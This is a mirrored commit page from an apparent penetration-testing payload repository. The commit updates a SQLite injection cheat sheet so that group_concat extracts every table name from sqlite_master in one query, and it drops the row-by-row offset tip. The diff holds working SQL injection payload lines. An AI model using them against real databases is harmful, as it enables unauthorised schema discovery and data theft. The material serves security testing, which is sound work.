mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-18 10:26:09 +00:00
Update SQLite Injection.md
add "group_concat" so that all tables can be extracted once when the query only returns the first item
This commit is contained in:
parent
cd19bb9409
commit
d5f85f13d5
@ -37,11 +37,9 @@ SELECT sql FROM sqlite_schema
|
||||
## Integer/String based - Extract table name
|
||||
|
||||
```sql
|
||||
SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
|
||||
SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
|
||||
```
|
||||
|
||||
Use limit X+1 offset X, to extract all tables.
|
||||
|
||||
## Integer/String based - Extract column name
|
||||
|
||||
```sql
|
||||
|
Loading…
Reference in New Issue
Block a user